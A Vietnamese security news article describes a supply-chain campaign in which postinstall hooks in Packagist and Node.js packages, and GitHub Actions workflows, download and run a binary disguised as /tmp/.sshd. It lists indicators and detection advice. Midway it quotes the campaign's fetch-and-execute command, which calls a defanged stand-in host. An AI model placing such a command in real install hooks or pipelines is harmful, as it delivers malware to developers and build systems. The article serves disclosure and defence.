Tấn công chuỗi cung ứng phần mềm mới đang âm thầm nhắm vào nhà phát triển thông qua cơ chế cài đặt gói, với rủi ro bảo mật đến từ postinstall script được chèn sẵn trong các package PHP và Node.js. Hoạt động này đã ảnh hưởng đến hơn 700 repository trên nhiều hệ sinh thái khác nhau.
Tấn công chuỗi cung ứng phần mềm qua postinstall hook
Chiến dịch này dựa trên việc cấy một postinstall script độc hại vào package. Khi nhà phát triển cài đặt gói bị ảnh hưởng, script sẽ tự động thực thi mà không có cảnh báo rõ ràng. Đây là một dạng tấn công chuỗi cung ứng phần mềm vì mã độc được phân phối thông qua thành phần phụ thuộc hợp lệ.
Trong các gói PHP và Node.js, script cài đặt sẽ âm thầm tải một binary từ GitHub Releases của kẻ tấn công, sau đó ghi xuống hệ thống Linux của nạn nhân với tên /tmp/.sshd. Tên file này được thiết kế để trông giống một tiến trình hệ thống hợp lệ, làm giảm khả năng bị phát hiện trong quá trình kiểm tra thông thường.
Cơ chế thực thi và ẩn mình
Binary được tải xuống có tên fvbs.network, sau đó được gán quyền thực thi bằng chmod +x và chạy ở chế độ nền. Script cũng sử dụng curl với xác minh TLS bị vô hiệu hóa, nghĩa là không kiểm tra chặt chẽ tính hợp lệ của nguồn tải về.
Điểm đáng chú ý trong tấn công chuỗi cung ứng phần mềm này là cách nó che giấu hành vi: script tắt thông báo lỗi trong quá trình cài đặt và khởi chạy payload âm thầm. Với cách này, log cài đặt tiêu chuẩn gần như không cho thấy dấu hiệu bất thường.
curl -k -L -o /tmp/.sshd https://example[.]com/fvbs.network
chmod +x /tmp/.sshd
/tmp/.sshd &Tấn công chuỗi cung ứng phần mềm trên Packagist và GitHub
Cuộc điều tra cho thấy chiến dịch không chỉ xuất hiện trong Packagist mà còn lan sang các repository dự án Node.js trên GitHub. Một tài khoản GitHub có tên parikhrpreksha được xác định là điểm phân phối trung tâm của payload.
Nhiều repository sử dụng cùng một lệnh postinstall và trỏ đến cùng một URL GitHub Releases. Mô hình này cho thấy đây là một hoạt động có phối hợp, không phải lỗi cấu hình ngẫu nhiên. Trong bối cảnh tấn công chuỗi cung ứng phần mềm, sự lặp lại đồng nhất của payload là chỉ dấu quan trọng để truy vết.
Một số phiên bản theo dõi nhánh như dev-main, dev-master và dev đặc biệt rủi ro vì mỗi lần cập nhật có thể kéo trực tiếp mã độc từ repository upstream. Việc gỡ một phiên bản gói bị nhiễm là chưa đủ nếu mã nguồn gốc chưa được làm sạch.
Tác động đến CI/CD và môi trường build
Ở một số repository Node.js, cùng một lệnh tải payload xuất hiện trong file workflow của GitHub Actions. Điều này mở rộng phạm vi ảnh hưởng từ máy phát triển cục bộ sang cả môi trường build tự động. Khi workflow chạy, payload có thể được thực thi trong pipeline thay vì chỉ trong quá trình cài gói thủ công.
Với tấn công chuỗi cung ứng phần mềm, việc nhúng payload vào workflow làm tăng nguy cơ xâm nhập mạng vào hệ thống CI/CD, đặc biệt khi pipeline có quyền truy cập vào biến môi trường, khóa triển khai hoặc thông tin xác thực nội bộ.
Phát hiện và phản ứng
Socket.dev cho biết họ phát hiện chiến dịch này trong quá trình phân tích các package Packagist bị gắn cờ. Bộ quét sử dụng AI đã nhận diện hành vi đáng ngờ dựa trên cách package tải binary và thực thi nền trong lúc cài đặt. Thông tin chi tiết có thể tham khảo tại Socket.dev.
Các package bị xác nhận đã được báo cáo và xóa khỏi Packagist. Tuy nhiên, do nhiều package theo dõi nhánh phát triển, các nhóm vận hành vẫn cần kiểm tra lại repository upstream để bảo đảm mã độc không còn tồn tại trong nguồn gốc.
Để giảm rủi ro bảo mật, các đội ngũ phát triển nên rà soát file composer.json và kiểm tra xem có mục postinstall bất thường hay không. Đồng thời, cần đánh giá các package phụ thuộc nhánh phát triển thay vì tag phát hành cố định.
Lệnh và dấu hiệu cần kiểm tra
Trong quá trình điều tra tấn công chuỗi cung ứng phần mềm, các điểm cần chú ý gồm file lạ trong /tmp với tên bắt đầu bằng dấu chấm, các bước workflow không quen thuộc, và các package có hành vi tải binary trong lúc cài đặt.
- File thực thi lạ dưới /tmp/.sshd.
- Package chứa postinstall hook ngoài dự kiến.
- Workflow file của GitHub Actions có bước tải binary từ GitHub Releases.
- Repository sử dụng các nhánh dev-main, dev-master hoặc dev để theo dõi mã nguồn.
- Lệnh curl tải từ nguồn không được xác minh TLS chặt chẽ.
IOC
Dưới đây là các chỉ dấu có thể dùng trong công tác phát hiện xâm nhập và phân tích sự cố:
- GitHub account: parikhrpreksha
- Binary: fvbs.network
- File path: /tmp/.sshd
- Hành vi: postinstall script tự động tải và chạy binary
- Môi trường ảnh hưởng: Packagist, Node.js repositories, GitHub Actions workflows
Với các hệ thống đang dùng Packagist hoặc công cụ xây dựng dựa trên Node.js, cần kiểm tra định kỳ package metadata, workflow và dependency branch tracking để giảm nguy cơ bảo mật từ tấn công chuỗi cung ứng phần mềm.










